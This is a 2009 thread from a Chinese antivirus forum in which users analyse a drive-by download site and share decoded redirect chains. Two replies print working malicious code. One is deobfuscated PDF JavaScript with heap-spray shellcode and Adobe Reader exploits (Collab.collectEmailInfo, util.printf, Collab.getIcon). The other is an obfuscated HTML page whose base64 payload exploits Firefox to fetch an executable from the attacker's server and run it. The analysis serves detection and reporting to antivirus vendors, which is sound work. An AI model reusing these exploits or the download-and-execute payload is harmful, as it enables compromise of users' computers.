查看: 4396|回复: 11
收起左侧

[已鉴定] http://09xss.cn/flowers/index.php

[复制链接]
shadowmin
发表于 2009-8-19 07:52:35 | 显示全部楼层 |阅读模式
关于:解密的日志(全体输出 -  10):
Level  1>http://09xss.cn/flowers/index.php
Level  2>http://09xss.cn/flowers/cache/PDF.php?st=Internet Explorer 6.0|Windows XP
Level  3>http://09xss.cn/flowers/load.php?a=a&st=internet&e=3
Level  3>http://09xss.cn/flowers/load.php?a=a&st=internet&e=1
Level  3>http://09xss.cn/flowers/load.php?a=a&st=internet&e=2
Level  2>http://09xss.cn/flowers/load.php?a=a&e=10
Level  2>http://09xss.cn/flowers/load.php?a=a&e=9
Level  2>http://09xss.cn/flowers/load.php?a=a&e=5
Level  2>http://09xss.cn/flowers/load.php?a=a&e=7
Level  2>http://09xss.cn/flowers/load.php?a=a&e=6
日志由 Redoce2.0第15次修正版于 2009-8-19 7:52:30 生成。
幸福的猪猪
发表于 2009-8-19 07:59:42 | 显示全部楼层

回复 1楼 shadowmin 的帖子

pdf文件,上报卡巴斯基,小红伞,给予查杀。

[ 本帖最后由 幸福的猪猪 于 2009-8-19 08:01 编辑 ]

khH.rar

3.32 KB, 下载次数: 388

nanhezzb
头像被屏蔽
发表于 2009-8-19 15:13:17 | 显示全部楼层
第一步怎么解出Level  2>http://09xss.cn/flowers/load.php?a=a&e=10
Level  2>http://09xss.cn/flowers/load.php?a=a&e=9
Level  2>http://09xss.cn/flowers/load.php?a=a&e=5
Level  2>http://09xss.cn/flowers/load.php?a=a&e=7
Level  2>http://09xss.cn/flowers/load.php?a=a&e=6
然后那个PDF怎么解出后面三个呢?
250662772
发表于 2009-8-19 16:03:00 | 显示全部楼层
原帖由 nanhezzb 于 2009-8-19 15:13 发表
第一步怎么解出Level  2>http://09xss.cn/flowers/load.php?a=a&e=10
Level  2>http://09xss.cn/flowers/load.php?a=a&e=9
Level  2>http://09xss.cn/flowers/load.php?a=a&e=5
Level  2>http://09xss.cn/flowers ...

pdf解压之后放到神器里面运行一下就可以得到,当然中间的字符10进制解密也可以解出的,想省事的就放到神器里面运行

var hao=unescape,khH=app.viewerVersion.toString(),UqU=hao("t\h\i\s");UqU=eval(UqU);if(khH<8){vSiJy();}if(khH>=8&&khH<9){MpW();}if(khH<=9){LKxiP();}function UPpho(UVwlH,FCacl){while(UVwlH.length*2<FCacl){UVwlH+=UVwlH;}return UVwlH.substring(0,FCacl/2);}function vSiJy(){var qgZiY=hao("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u302F\u7839\u7373\u632E\u2F6E\u6C66\u776F\u7265\u2F73\u6F6C\u6461\u702E\u7068\u613F\u613D\u7326\u3D74\u6E49\u6574\u6E72\u7465\u4520\u7078\u6F6C\u6572\u2072\u2E36\u7C30\u6957\u646E\u776F\u2073\u5058\u6526\u323D");var cokbo=0x0c0c0c0c;var nnJJV=[];var iAVru=0x400000;var gAaxq=qgZiY.length*2;var FCacl=iAVru-(gAaxq+0x38);var UVwlH=hao("\u9090\u9090");UVwlH=UPpho(UVwlH,FCacl);var lDdKC=(cokbo-0x400000)/iAVru;for(var sgEbd=0;sgEbd<lDdKC;sgEbd++){nnJJV[sgEbd]=UVwlH+qgZiY;}var JNtOj=hao("\u0c0c\u0c0c");while(JNtOj.length<44952)JNtOj+=JNtOj;this.collabStore=Collab.collectEmailInfo({subj:"",msg:JNtOj});}function MpW(){var UbJ=new Array();function ExN(his,nQt){while(his.length*2<nQt){his+=his;}his=his.substring(0,nQt/2);return his;}SPa=0x30303030;qQw=hao("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u302F\u7839\u7373\u632E\u2F6E\u6C66\u776F\u7265\u2F73\u6F6C\u6461\u702E\u7068\u613F\u613D\u7326\u3D74\u6E49\u6574\u6E72\u7465\u4520\u7078\u6F6C\u6572\u2072\u2E36\u7C30\u6957\u646E\u776F\u2073\u5058\u6526\u313D");var RqJ=0x400000;var mMy=qQw.length*2;var nQt=RqJ-(mMy+0x38);var his=hao("\u9090\u9090");his=ExN(his,nQt);var SjL=(SPa-0x400000)/RqJ;for(var YAM=0;YAM<SjL;YAM++){UbJ[YAM]=his+qQw;}var WWl="40987238153368008186";for(hao=0;hao<138*2;hao++){WWl+="2";}util.printf("%4"+"50"+"00"+"f",WWl);}function ZIn(PlK){PlK=PlK.replace(/[\+1]/g,"0");PlK=PlK.replace(/[\+2]/g,"9");PlK=PlK.replace(/[\+3]/g,"8");PlK=PlK.replace(/[\+4]/g,"7");PlK=PlK.replace(/[\+5]/g,"6");PlK=PlK.replace(/[\+6]/g,"5");PlK=PlK.replace(/[\+7]/g,"4");PlK=PlK.replace(/[\+8]/g,"3");PlK=PlK.replace(/[\+9]/g,"2");PlK=PlK.replace(/[\+0]/g,"1");return PlK;}function LKxiP(){var LOXrC=hao("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u302F\u7839\u7373\u632E\u2F6E\u6C66\u776F\u7265\u2F73\u6F6C\u6461\u702E\u7068\u613F\u613D\u7326\u3D74\u6E49\u6574\u6E72\u7465\u4520\u7078\u6F6C\u6572\u2072\u2E36\u7C30\u6957\u646E\u776F\u2073\u5058\u6526\u333D");hGj=hao("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090")+LOXrC;AyO=hao("\u9090\u9090");KAE=5*2;jbE=KAE+hGj.length;while(AyO.length<jbE)AyO+=AyO;YnB=AyO.substring(0,jbE);lmZ=AyO.substring(0,AyO.length-jbE);while(lmZ.length+jbE<0x40000)lmZ=lmZ+lmZ+YnB;CBe=[];for(nsy=0;nsy<180;nsy++)CBe[nsy]=lmZ+hGj;var pZa=4012;var dbg=Array(pZa);for(nsy=0;nsy<pZa;nsy++){dbg[nsy]=hao("\u000a\u000a\u000a\u000a");}Collab.getIcon(dbg+'_N.b'+'un'+'dl'+'e');}
250662772
发表于 2009-8-19 16:07:17 | 显示全部楼层
再用祥子的5>Unicode清除(%u,\u)(参数/无参数)
1.jpg

关于:解密的日志(部分输出 -  3):
Level  1>http://09xss.cn/flowers/load.php?a=a&;st=Internet Explorer 6.0|Windows XP&e=2
Level  1>http://09xss.cn/flowers/load.php?a=a&;st=Internet Explorer 6.0|Windows XP&e=3
Level  1>http://09xss.cn/flowers/load.php?a=a&;st=Internet Explorer 6.0|Windows XP&e=1
网页分析:250662772
nanhezzb
头像被屏蔽
发表于 2009-8-19 22:57:43 | 显示全部楼层

回复 5楼 250662772 的帖子

第一个PDF只解出http://09xss.cn/flowers/cache/PDF.php?st=Internet Explorer 6.0|Windows XP
,然后得到的PDF我也解不出来。
你提到的工具哪儿有下载呢?

[ 本帖最后由 nanhezzb 于 2009-8-19 23:02 编辑 ]
nanhezzb
头像被屏蔽
发表于 2009-8-20 08:49:29 | 显示全部楼层

回复 250662772

Level  2>http://09xss.cn/flowers/cache/PDF.php?st=Internet Explorer 6.0|Windows XP这个怎么得到后面的Level  3呢?PDF直接打开时乱码,然后我想提取流文件也失败,不知道你是怎么操作的。
还有源地址只能解出Level  2>http://09xss.cn/flowers/cache/PDF.php?st=Internet Explorer 6.0|Windows XP,其他几个怎么解出?
谢了
250662772
发表于 2009-8-20 11:53:04 | 显示全部楼层
pdf解密,
1.jpg
nanhezzb
头像被屏蔽
发表于 2009-8-20 12:35:40 | 显示全部楼层

回复 8楼 250662772 的帖子

PDF这个终于解出来了,再问一个你之前没解释的问题。
Level  1>http://09xss.cn/flowers/index.php很简单的解出http://09xss.cn/flowers/cache/PDF.php?st=Internet Explorer 6.0|Windows XP这层,但是同是Level  2层的下面几个又是解出来的呢?一层其他代码就是一堆字母看不出来什么加密的。
Level  2>http://09xss.cn/flowers/load.php?a=a&e=10
Level  2>http://09xss.cn/flowers/load.php?a=a&e=9
Level  2>http://09xss.cn/flowers/load.php?a=a&e=5
Level  2>http://09xss.cn/flowers/load.php?a=a&e=7
Level  2>http://09xss.cn/flowers/load.php?a=a&e=6
谢谢了,麻烦了。
250662772
发表于 2009-8-20 15:23:43 | 显示全部楼层
原始代码我没保存,现在访问的时候,代码好像不一样了,

<html><head>
<link rel="stylesheet" type="text/css" href="cache/CSS.css">
</head><body><script>document.write("<embed src=\"http://09xss.cn/flowers/cache/PDF.php?st=Firefox 1.5.0|Windows XP\" width=\"466\" height=\"450\"></embed>");</script><i><code id='PLK'>,76,61,72,20,5a,69,65,3d,65,76,61,6c,3b</code><s id='gkt'>ydQatldmFyIHVybD0iaHR0cDovLzA5eHNzLmNuL2Zsb3dlcnMvbG9hZC5waHA/YT1hJmU9MTUiO2Z1bmN0aW9uIFpYeG1lKHdUZVF0KXt2YXIgdEt4Y0MgPSAiYWJjZGVmZ2hpa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkiO3ZhciBoaE9uUyA9ICcnO2ZvciAodmFyIENPWkNuPTA7IENPWkNuPHdUZVF0OyBDT1pDbisrKSB7dmFyIGtEQktWID0gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogdEt4Y0MubGVuZ3RoKTtoaE9uUyArPSB0S3hjQy5zdWJzdHJpbmcoa0RCS1YsIGtEQktWKzEpO31yZXR1cm4gaGhPblM7fWZ1bmN0aW9uIGtnT3FRKCl7aWYgKHdpbmRvdy5nZXRTdGF0ZSh3aW5kb3cucGVyc2lzdCkgPT0gMykge3dpbmRvdy5wcm9jZXNzUnVuKHdpbmRvdy5wcm9jZXNzLCB3aW5kb3cuZmlsZSk7cGFyZW50LndpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7fSBlbHNlIHtzZXRUaW1lb3V0KCJ3aW5kb3cubG1nalUoKTsiLCAxMDApO319d2luZG93LmxtZ2pVID0ga2dPcVE7ZnVuY3Rpb24gZ0N5Wm4oKXt0cnkge3ZhciBTU0ZRYiA9IFpYeG1lKDYpO3ZhciBGc2h0cSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO0ZzaHRxLnNldEF0dHJpYnV0ZSgic3R5bGUiLCAiZGlzcGxheTogbm9uZTsgLW1vei1iaW5kaW5nOiB1cmwoJ2Nocm9tZTovL3hibC1tYXJxdWVlL2NvbnRlbnQveGJsLW1hcnF1ZWUueG1sI21hcnF1ZWUtaG9yaXpvbnRhbCcpOyIpO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoRnNodHEpO3ZhciBmbld4VCA9IEZzaHRxLnN0b3AuZXZhbC5jYWxsKG51bGwsICJGdW5jdGlvbiIpO3ZhciBCUUlKbyA9IGZuV3hUKCJyZXR1cm4gZnVuY3Rpb24oQyl7IHZhciBmaWxlPUMuY2xhc3Nlc1snQG1vemlsbGEub3JnL2ZpbGUvbG9jYWw7MSddLmNyZWF0ZUluc3RhbmNlKEMuaW50ZXJmYWNlcy5uc0lMb2NhbEZpbGUpOyBmaWxlLmluaXRXaXRoUGF0aCgnYzpcXCIgKyBTU0ZRYiArICIuZXhlJyk7IHJldHVybiBmaWxlOyB9IikoKTt3aW5kb3cuZmlsZSA9IEJRSUpvKENvbXBvbmVudHMpO3ZhciBoc2pIViA9IGZuV3hUKCJyZXR1cm4gZnVuY3Rpb24oQyl7IHJldHVybiBDLmNsYXNzZXNbJ0Btb3ppbGxhLm9yZy9wcm9jZXNzL3V0aWw7MSddLmNyZWF0ZUluc3RhbmNlKEMuaW50ZXJmYWNlcy5uc0lQcm9jZXNzKTsgfSIpKCk7d2luZG93LnByb2Nlc3MgPSBoc2pIVihDb21wb25lbnRzKTt2YXIgdlV3SlEgPSBmbld4VCgicmV0dXJuIGZ1bmN0aW9uKEMsZmlsZSl7IGlvPUMuY2xhc3Nlc1snQG1vemlsbGEub3JnL25ldHdvcmsvaW8tc2VydmljZTsxJ10uZ2V0U2VydmljZShDLmludGVyZmFjZXMubnNJSU9TZXJ2aWNlKTtzb3VyY2U9aW8ubmV3VVJJKCdodHRwOi8vMDl4c3MuY24vZmxvd2Vycy9sb2FkLnBocD9hPWEmZT0xNScsJ1VURjgnLG51bGwpO3BlcnNpc3Q9Qy5jbGFzc2VzWydAbW96aWxsYS5vcmcvZW1iZWRkaW5nL2Jyb3dzZXIvbnNXZWJCcm93c2VyUGVyc2lzdDsxJ10uY3JlYXRlSW5zdGFuY2UoQy5pbnRlcmZhY2VzLm5zSVdlYkJyb3dzZXJQZXJzaXN0KTtwZXJzaXN0LnBlcnNpc3RGbGFncz04MTkyfDQwOTY7cGVyc2lzdC5zYXZlVVJJKHNvdXJjZSxudWxsLG51bGwsbnVsbCxudWxsLGZpbGUpOyByZXR1cm4gcGVyc2lzdDsgfSIpKCk7d2luZG93LnBlcnNpc3QgPSB2VXdKUShDb21wb25lbnRzLHdpbmRvdy5maWxlKTt3aW5kb3cuZ2V0U3RhdGUgPSBmbld4VCgicmV0dXJuIGZ1bmN0aW9uKHBlcnNpc3QpIHsgcmV0dXJuIHBlcnNpc3QuY3VycmVudFN0YXRlOyB9IikoKTt3aW5kb3cucHJvY2Vzc1J1biA9IGZuV3hUKCJyZXR1cm4gZnVuY3Rpb24ocHJvY2VzcyxmaWxlKSB7IHByb2Nlc3MuaW5pdChmaWxlKTsgcHJvY2Vzcy5ydW4oZmFsc2UsW10sMCk7IH0iKSgpO3NldFRpbWVvdXQoIndpbmRvdy5sbWdqVSgpOyIsIDEwMCk7fSBjYXRjaChlKSB7fXJldHVybiAwO312YXIgY2hyb21lVXJsID0gImNocm9tZTovL2dsb2JhbC9jb250ZW50L21vemlsbGEueGh0bWwiO3ZhciBqc1VybDt2YXIgcmVsO2Z1bmN0aW9uIGEoZXYpIHtmdW5jdGlvbiBncigpIHtyZXR1cm4gcmVsO312YXIgY29kZSA9ICJPYmplY3QucHJvdG90eXBlLl9fZGVmaW5lR2V0dGVyX18uY2FsbChldi50YXJnZXQsICdyZWwnLCBncik7Ijt2YXIgbyA9IHsgc2V0Q2hlY2tlZCA6IFNjcmlwdCB9O3ZhciB4ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIngiKTt2YXIgcyA9IHguX19sb29rdXBTZXR0ZXJfXygiY2hlY2tlZCIpLmNhbGwobywgY29kZSk7cygpO31mdW5jdGlvbiBiKHUpIHt2YXIgYSA9IFsgIiIsIHUgXTthLl9fZGVmaW5lU2V0dGVyX18oIjAiLCBDb21wb25lbnRzLmxvb2t1cE1ldGhvZChmcmFtZXNbMV0ubG9jYXRpb24sICJocmVmIikpO2EudG9TdHJpbmcgPSBhLnNoaWZ0O2EubWF0Y2ggPSBhLnNoaWZ0O3JlbCA9IGE7fWZ1bmN0aW9uIGMoKSB7YihjaHJvbWVVcmwpO3ZhciBkID0gZnJhbWVzWzBdLmRvY3VtZW50O3ZhciBsaW5rID0gZC5jcmVhdGVFbGVtZW50KCJsaW5rIik7bGluay5hZGRFdmVudExpc3RlbmVyKCJ0ZXN0IiwgZnVuY3Rpb24oZXYpIHsgYShldik7IH0sIHRydWUpO3ZhciBldiA9IGQuY3JlYXRlRXZlbnQoIkV2ZW50cyIpO2V2LmluaXRFdmVudCgidGVzdCIsIHRydWUsIHRydWUpO2xpbmsuZGlzcGF0Y2hFdmVudChldik7bGluay5zZXRBdHRyaWJ1dGUoImlkIiwgImwiKTtsaW5rLnNldEF0dHJpYnV0ZSgicmVsIiwgImEiKTtkLmJvZHkuYXBwZW5kQ2hpbGQobGluayk7fWZ1bmN0aW9uIGQoKSB7Yihqc1VybCk7dmFyIGxpbmsgPSBmcmFtZXNbMF0uZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImwiKTt2YXIgcCA9IGxpbmsucGFyZW50Tm9kZTtwLnJlbW92ZUNoaWxkKGxpbmspO3AuYXBwZW5kQ2hpbGQobGluayk7fWZ1bmN0aW9uIGUoKSB7dmFyIGkgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpIik7aS5zZXRBdHRyaWJ1dGUoImlkIiwgIngiKTtpLnNldEF0dHJpYnV0ZSgic3R5bGUiLCAiLW1vei1iaW5kaW5nOiB1cmwoJ2Nocm9tZTovL2dsb2JhbC9jb250ZW50L2JpbmRpbmdzL2NoZWNrYm94LnhtbCNjaGVja2JveC1iYXNlbGluZScpOyBkaXNwbGF5OiBub25lOyIpO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaSk7dmFyIGlmciA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlmcmFtZSIpO2lmci5zZXRBdHRyaWJ1dGUoIndpZHRoIiwgMik7aWZyLnNldEF0dHJpYnV0ZSgiaGVpZ2h0IiwgMik7aWZyLnN0eWxlLmJvcmRlciA9ICIwIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGlmcik7aWZyLm9ubG9hZCA9IGQ7YygpO31mdW5jdGlvbiBGY0xQQygpe3RyeSB7dmFyIFNTRlFiID0gWlh4bWUoNik7anNVcmwgPSAiamF2YXNjcmlwdDpmaWxlPUNvbXBvbmVudHMuY2xhc3Nlc1snQG1vemlsbGEub3JnL2ZpbGUvbG9jYWw7MSddLmNyZWF0ZUluc3RhbmNlKENvbXBvbmVudHMuaW50ZXJmYWNlcy5uc0lMb2NhbEZpbGUpO2ZpbGUuaW5pdFdpdGhQYXRoKCdjOlxcIiArIFNTRlFiICsgIi5leGUnKTtpbz1Db21wb25lbnRzLmNsYXNzZXNbJ0Btb3ppbGxhLm9yZy9uZXR3b3JrL2lvLXNlcnZpY2U7MSddLmdldFNlcnZpY2UoQ29tcG9uZW50cy5pbnRlcmZhY2VzLm5zSUlPU2VydmljZSk7c291cmNlPWlvLm5ld1VSSSgnaHR0cDovLzA5eHNzLmNuL2Zsb3dlcnMvbG9hZC5waHA/YT1hJmU9MTUnLCdVVEY4JyxudWxsKTtwZXJzaXN0PUNvbXBvbmVudHMuY2xhc3Nlc1snQG1vemlsbGEub3JnL2VtYmVkZGluZy9icm93c2VyL25zV2ViQnJvd3NlclBlcnNpc3Q7MSddLmNyZWF0ZUluc3RhbmNlKENvbXBvbmVudHMuaW50ZXJmYWNlcy5uc0lXZWJCcm93c2VyUGVyc2lzdCk7cGVyc2lzdC5wZXJzaXN0RmxhZ3M9ODE5Mnw0MDk2O3BlcnNpc3Quc2F2ZVVSSShzb3VyY2UsbnVsbCxudWxsLG51bGwsbnVsbCxmaWxlKTtwcm9jZXNzPUNvbXBvbmVudHMuY2xhc3Nlc1snQG1vemlsbGEub3JnL3Byb2Nlc3MvdXRpbDsxJ10uY3JlYXRlSW5zdGFuY2UoQ29tcG9uZW50cy5pbnRlcmZhY2VzLm5zSVByb2Nlc3MpO2Z1bmN0aW9uICAgICAgICAgICAgICAgICAgIGNoZWNrKCl7aWYocGVyc2lzdC5jdXJyZW50U3RhdGU9PTMpe3Byb2Nlc3MuaW5pdChmaWxlKTtwcm9jZXNzLnJ1bihmYWxzZSxbXSwwKTtwYXJlbnQud2luZG93LmxvY2F0aW9uPSdhYm91dDpibGFuayd9ZWxzZXtzZXRUaW1lb3V0KCdjaGVjaygpJywxMDApfX1zZXRUaW1lb3V0KCdjaGVjaygpJywxMDApO3ZvaWQoMCk7Ijt2YXIgaWZyID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaWZyYW1lIik7aWZyLnNldEF0dHJpYnV0ZSgid2lkdGgiLCAyKTtpZnIuc2V0QXR0cmlidXRlKCJoZWlnaHQiLCAyKTtpZnIuc3R5bGUuYm9yZGVyID0gIjAiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZyKTtpZnIub25sb2FkID0gZTt9IGNhdGNoKGUpIHt9cmV0dXJuIDA7fUZjTFBDKCk7Z0N5Wm4oKTs=ydQatl</s><script>var/*ydQ*/iUH/*ydQ*/=/*ydQ*/'%';;var/*ydQ*/sMC/*ydQ*/=/*ydQ*/eval;;;;var/*ydQ*/qcQ/*ydQ*/=/*ydQ*/document.getElementById('PLK');;var/*ydQ*/gkt/*ydQ*/=/*ydQ*/document.getElementById('gkt');;qcQ/*ydQ*/=/*ydQ*/qcQ.innerHTML;;gkt/*ydQ*/=/*ydQ*/gkt.innerHTML;;qcQ/*ydQ*/=/*ydQ*/unescape(qcQ.replace(/[\+,]/g,iUH));;;;sMC(qcQ);;sMC(LAj(ydQ(gkt,6,-6)));;;;
function LAj(/**/Zie/**/){var iNV/**/=/**/'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var dEN,PLK,gkt,qlM,iUH,Cfz,tTp,Ymo,i=0,JEU=""; do { qlM/**/=/**/iNV.indexOf(Zie.charAt(i++)); iUH/**/=/**/iNV.indexOf(Zie.charAt(i++)); Cfz/**/=/**/iNV.indexOf(Zie.charAt(i++)); tTp/**/=/**/iNV.indexOf(Zie.charAt(i++)); Ymo/**/=/**/qlM<<18 | iUH<<12 | Cfz<<6 | tTp; dEN/**/=/**/Ymo>>16 & 0xff; PLK/**/=/**/Ymo>>8 & 0xff; gkt/**/=/**/Ymo & 0xff; if (Cfz==64) JEU/**/+=/**/String.fromCharCode(dEN); else if (tTp==64) JEU/**/+=/**/String.fromCharCode(dEN,PLK); else JEU/**/+=/**/String.fromCharCode(dEN,PLK,gkt);} while (i < Zie.length);return JEU;}function ydQ(/**/atl,sMC,qcQ/**/){if(sMC < 0){sMC/**/+=/**/atl.length;}if(qcQ==undefined){qcQ/**/=/**/atl.length;} else if(qcQ < 0){qcQ/**/+=/**/atl.length;} else {qcQ/**/+=/**/sMC;}if(qcQ < sMC){qcQ/**/=/**/sMC;}return atl.substring(sMC,qcQ);}</script></i></body></html>
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-5-21 00:08 , Processed in 0.114639 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表